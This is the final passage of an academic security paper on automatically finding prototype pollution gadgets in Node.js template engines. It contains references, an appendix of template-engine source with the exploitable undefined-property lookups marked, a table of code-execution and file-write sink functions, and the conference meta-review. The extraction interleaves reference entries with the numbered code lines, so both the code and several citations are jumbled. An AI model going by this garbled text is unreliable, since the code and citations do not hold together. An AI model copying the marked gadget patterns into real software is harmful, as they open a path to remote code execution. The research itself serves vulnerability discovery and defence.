Symposium on Applied Computing (2016), pp. 801– pose: practical symbolic execution of standalone 807. javascript. In Proceedings of the 24th ACM SIGSOFT [62] S HCHERBAKOV, M. Repository for server-side proto- International SPIN Symposium on Model Checking of type pollution gadgets, 2023. https://github.com/yuske/ Software (2017), pp. 196–199. server-side-prototype-pollution. [50] L ORING , B., M ITCHELL , D., AND K INDER , J. Sound [63] S HCHERBAKOV, M., AND BALLIU , M. Serialdetector: regular expression semantics for dynamic symbolic ex- Principled and practical exploration of object injection ecution of javascript. In Proceedings of the 40th ACM vulnerabilities for the web. In Network and Dis- SIGPLAN Conference on Programming Language De- tributed Systems Security (NDSS) Symposium 202121- sign and Implementation (2019), pp. 425–438. 24 February 2021 (2021). [51] M A , K.-K., Y IT P HANG , K., F OSTER , J. S., AND [64] S HCHERBAKOV, M., BALLIU , M., AND S TAICU , C.- H ICKS , M. Directed symbolic execution. In Static A. Silent spring: Prototype pollution leads to remote Analysis: 18th International Symposium, SAS 2011, code execution in node. js. In USENIX Security Sym- Venice, Italy, September 14-16, 2011. Proceedings 18 posium 2023 (2023). (2011), Springer, pp. 95–111. [65] S HCHERBAKOV, M., BALLIU , M., AND S TAICU , C.- [52] PARK S, K. D., AND JANA S, E . A . Fugio: Automatic A. USENIX’23 Artifact Appendix: Silent Spring: exploit generation for php object injection vulnerabil- Prototype Pollution Leads to Remote Code Execution ities, 2022. in Node.js. In 32nd USENIX Security Symposium [53] R ANDALL , A., S NYDER , P., U KANI , A., S NOEREN , (USENIX Security 23) (2023). A. C., VOELKER , G. M., S AVAGE , S., AND S CHUL - [66] S HOSHITAISHVILI , Y., WANG , R., S ALLS , C., MAN , A. Measuring uid smuggling in the wild. In S TEPHENS , N., P OLINO , M., D UTCHER , A., Proceedings of the 22nd ACM Internet Measurement G ROSEN , J., F ENG , S., H AUSER , C., K RUEGEL , C., Conference (2022), pp. 230–243. AND V IGNA , G. SoK: (State of) The Art of War: [54] R ASHEED , S., AND D IETRICH , J. A hybrid analysis to Offensive Techniques in Binary Analysis. In IEEE detect java serialisation vulnerabilities. In Proceedings Symposium on Security and Privacy (2016). of the 35th IEEE/ACM International Conference on [67] S NYDER , P., K ARAMI , S., E DELSTEIN , A., Automated Software Engineering (2020), pp. 1209– L IVSHITS , B., AND H ADDADI , H. Pool-party: 1213. Exploiting browser resource pools for web tracking. [55] ROEMER , R., B UCHANAN , E., S HACHAM , H., AND [68] S O , J., F ERDMAN , M., AND N IKIFORAKIS , N. The S AVAGE , S. Return-oriented programming: Systems, more things change, the more they stay the same: languages, and applications. ACM Transactions on In- Integrity of modern javascript. In Proceedings of the formation and System Security (TISSEC) 15, 1 (2012), ACM Web Conference 2023 (2023), pp. 2295–2305. 1–34. [69] S TEFFENS , M. Understanding emerging client-side [56] S ANTOS , J. F., M AKSIMOVI Ć , P., G ROHENS , T., web vulnerabilities using dynamic program analysis. D OLBY, J., AND G ARDNER , P. Symbolic execution [70] T RICKEL , E., PAGANI , F., Z HU , C., D RESEL , L., for javascript. In Proceedings of the 20th International V IGNA , G., K RUEGEL , C., WANG , R., BAO , T., Symposium on Principles and Practice of Declarative S HOSHITAISHVILI , Y., AND D OUP É , A. Toss a fault Programming (2018), pp. 1–14. to your witcher: Applying grey-box coverage-guided [57] S AXENA , P., A KHAWE , D., H ANNA , S., M AO , F., mutational fuzzing to detect sql and command injection M C C AMANT, S., AND S ONG , D. A symbolic execu- vulnerabilities. In 2023 IEEE Symposium on Security tion framework for javascript. In 2010 IEEE Sympo- and Privacy (SP) (2023), IEEE, pp. 2658–2675. sium on Security and Privacy (2010), IEEE, pp. 513– [71] VASILAKIS , N., S TAICU , C.-A., N TOUSAKIS , G., 528. K ALLAS , K., K AREL , B., D E H ON , A., AND P RADEL , [58] S EN , K. Repository for a dynamic analysis framework M. Preventing dynamic library compromise on node. for javascript, jalangi2, 2023. js via rwx-based privilege reduction. In Proceedings of [59] S EN , K., K ALASAPUR , S., B RUTCH , T., AND G IBBS , the 2021 ACM SIGSAC Conference on Computer and Communications Security (2021), pp. 1821–1838. 18 function compile(str, env) { [72] WANG , C., KO , R., Z HANG , Y., YANG , Y., AND L IN , 19 var options = getConfig(env || {}); 20 var ctor = Function; // constructor Z. Taintmini: Detecting flow of sensitive data in mini- 21 try { programs with static taint analysis. In 2023 IEEE/ACM 22 return new ctor(options.varName, ’c’, 23 ’cb’, 45th International Conference on Software Engineer- 24 compileToString(str, options)); ing (ICSE) (2023), IEEE, pp. 932–944. 25 } [73] X IAO , F., H UANG , J., X IONG , Y., YANG , G., H U , H., 26 } 27 function compileToString(str, env) { G U , G., AND L EE , W. Abusing hidden properties to 28 var buffer = parse(str, env); attack the node. js ecosystem. In 30th USENIX Security 29 var res = ’...’ + 30 compileScope(buffer, env) + Symposium (USENIX Security 21) (2021), pp. 2951– 31 ’...’ 2968. 32 return res; [74] YANG , Y., Z HANG , Y., AND L IN , Z. Cross miniapp 33 } 34 function parse(str, env) { request forgery: Root causes, attacks, and vulnerability 35 var envPrefixes = env.prefixes; detection. In Proceedings of the 2022 ACM SIGSAC 36 var prefixes = [ 37 envPrefixes.h, Conference on Computer and Communications Secu- 38 envPrefixes.b, rity (2022), pp. 3079–3092. 39 envPrefixes.i, [75] Z AHAN , N., Z IMMERMANN , T., G ODEFROID , P., 40 envPrefixes.r, 41 envPrefixes.c, M URPHY, B., M ADDILA , C., AND W ILLIAMS , L. 42 envPrefixes.e What are weak links in the npm supply chain? In 43 ].reduce(function (accumulator, prefix) {//...} 44 var tagOpenReg = new RegExp(’([ˆ]*?)’ + \ Proceedings of the 44th International Conference on 45 escapeRegExp(env.tags[0]) + ’(-|_)?\\s*(’ + Software Engineering: Software Engineering in Prac- prefixes + ’)?\\s*’, ’g’); tice (2022), pp. 331–340. 46 var parseResult = parseContext({ f: [] }, true); 47 return parseResult.d; [76] Z HANG , M., AND M ENG , W. Jsisolate: lightweight in- 48 } browser javascript isolation. In Proceedings of the 29th 49 function parseContext(parentObj, firstParse) { 50 while ((tagOpenMatch = tagOpenReg.exec(str)) !== null ACM Joint Meeting on European Software Engineering ) { Conference and Symposium on the Foundations of 51 var prefix = tagOpenMatch[3] || ’’; Software Engineering (2021), pp. 193–204. 52 var prefixType; 53 for (var key in envPrefixes) { [77] Z HAO , Y., Z HANG , Y., AND YANG , M. Remote code 54 if (envPrefixes[key] === prefix) { execution from ssti in the sandbox: Automatically de- 55 prefixType = key; 56 break; tecting and exploiting template escape bugs. 57 } [78] Z IMMERMANN , M., S TAICU , C.-A., T ENNY, C., AND 58 } P RADEL , M. Small world with high risks: A study 59 /** currentOBj.t has set to prefixType in parseTag () function */ of security threats in the npm ecosystem. In 28th 60 var currentObj = parseTag(tagOpenMatch.index, USENIX Security Symposium (USENIX Security 19) prefixType); 61 else if (currentType === ’s’) { (2019), pp. 995–1010. 62 buffer.push(currentObj); 63 } 64 } Appendices 65 parentObj.d = buffer 66 return parentObj; 67 } Appendix A. 68 function compileScope(buff, env) { 69 for (i; i < buffLength; i++) { Complete Source Code of Listing 1 70 var currentBlock = buff[i]; 71 else { In this appendix, for those who are interested, we show 72 var type = currentBlock.t; 73 var name = currentBlock.n || ’’; /** undefined the complete source code in Listing 8 for our motivating property lookup in gadget 2 */ example in Section 2.1. 74 /** ... */ 75 else if (type === ’s’) { 1 function renderFile(filename, data, cb) { 76 returnStr += ’tR+=’ \ 2 data = data || {}; 77 + filter((isAsync ? ’await ’ : ’’) \ 3 var Config = getConfig(data); 78 + "c.l(’H’,’" + name + "’)({params:[" + 4 if (data.settings) { /** undefined property lookup in params \ gadget 1 */ 79 + ’]},[],c)’, filters)\ 5 var viewOpts = data.settings[’view options’]; 80 + ’;’;} 6 if (viewOpts) { 81 } 7 copyProps(Config, viewOpts); 82 } 8 } 83 return returnStr; /** return value flows to the sink 9 } afterward */ 10 return tryHandleCache(Config, data, cb); 84 } 11 } 12 function tryHandleCache(options, data, cb) { Listing 8: Complete Source Code for Our Motivating 13 handleCache(options)(data, options, cb); 14 } Example. 15 function handleCache(options) { 16 return compile(readFile(filename), options); 17 } TABLE 5: Sink Functions used for Node.js Template Engine Gadget Detection Gadget Consequence Sink Functions Arbitrary Code Execution eval(), new Function(), Function.apply() vm.runInThisContext(), vm.runInNewContext(), require(), Module._load() File-IO Access Manipulation fs.write(), fs.writeFileSync(), fs.writeFile(), fs.writeFileSync(), fs.read(), fs.readFileSync(), fs.readFile(), fs.readFileSync(), fs.appendFile(), fs.appendFileSync(), fs.unlink(), fs.unlinkSync(), fs.rmdir(), fs.rmdirSync(), fs.mkdir(), fs.mkdirSync() Reflected Cross-site Scripting (XSS) res.send() (res is the response object for express) Arbitrary Command Injection child_process.exec(), child_process.execSync(), child_process.execFile(), child_process.execFileSync(), child_process.spawn(), child_process.spawnSync() TABLE 6: Type Coercion Rules Operator Type Operator Category Coercion Rule If one operand is of type string, coerce the other operand to string. Add (+) If neither operand is of type string, coerce both operands to number. Binary Logical operators (&& and ||) Coerce operand to boolean, check for truthiness, then return the original value. Comparison operators (>, <, <=, >=) Coerce non-number operands to number. Loose equality operator (==, !=) Bitwise operators (||, &, ˆ, ˜) Arithmetic operators (-, *, /, %) Logical NOT (!) Coerce non-boolean operands to boolean. Unary Plus and Minus (+, -) Coerce non-number operands to number. Bitwise NOT (˜) Coerce non-number operands to number. Appendix B. Prototype Pollution Gadget List We list all the sinks used by U O PF in Table 5. Appendix C. Type Coercion Rules The type coercion rules employed by U O PF are detailed in Table 6. Appendix D. Appendix E. Meta-Review Response to the Meta-Review The following meta-review was prepared by the program We would like to thank the reviewers for their thoughtful committee for the 2024 IEEE Symposium on Security and comments. We understand and admit that our targets are Privacy (S&P) as part of the review process as detailed in different from Silent Spring. At the same time, we want to the call for papers. emphasize that Node.js template engines are widely used, i.e., >16.64 billion downloads in the last 5 years at the time of writing (November 2023), thus being an important target D.1. Summary for exploitation. We also want to emphasize that the term “gadget chains” Prototype pollution is a class of attack specified to is already being used for different languages, such as Java JavaScript, where an attacker leverages the fact that prop- and PHP, beyond return-to-libc-like exploits. The chain- erties not defined on a particular object are looked up on ing methods are different for vulnerabilities in different the object’s prototype. If this has been polluted by the programming languages. Binary-level gadgets in Return- attacker, the object’s undefined property falls back to the Oriented Programming (ROP) are chained based on return attacker-controlled prototype, leading to potential exploits. instructions and PHP or Java gadgets are chained based This paper proposes the idea of undefined-oriented program on method polymorphism during deserialization. Instead, along a framework (UOPF) to find them. JavaScript prototype pollution gadgets are chained by un- After describing the implementation through a combina- defined properties. tion of static and concolic analysis, the authors apply their tool to a set of template framework in NodeJS and compare their findings against Silent Spring. This shows that they can outperform state-of-the-art and further they find 21 zero- days (one of which was also found by Silent Spring) in their analysis. D.2. Scientific Contributions • Provides a New Data Set For Public Use • Creates a New Tool to Enable Future Science • Provides a Valuable Step Forward in an Established Field D.3. Reasons for Acceptance 1) Provides a new automated approach for finding prototype pollution gadgets. 2) Clear improvement over the state of the art in this domain: an end-to-end gadget exploitation ap- proach based on concolic execution. 3) Outperforms Silent Spring for the specific type of vulnerability. D.4. Noteworthy Concerns The authors compare themselves with the principles of Silent Spring, but do not do a head-to-head comparison with the libraries found to be vulnerable by Silent Spring. In gen- eral, the reviewers found the evaluation to be quite limited in scope and size. Of particular concern was the specific focus on templating engines, which appears to mostly relate to the lack of support of the underlying tool chain. Moreover, reviewers noted concerns about the terminology of “gadget chains” as this might cause confusion with return-to-libc- like exploits.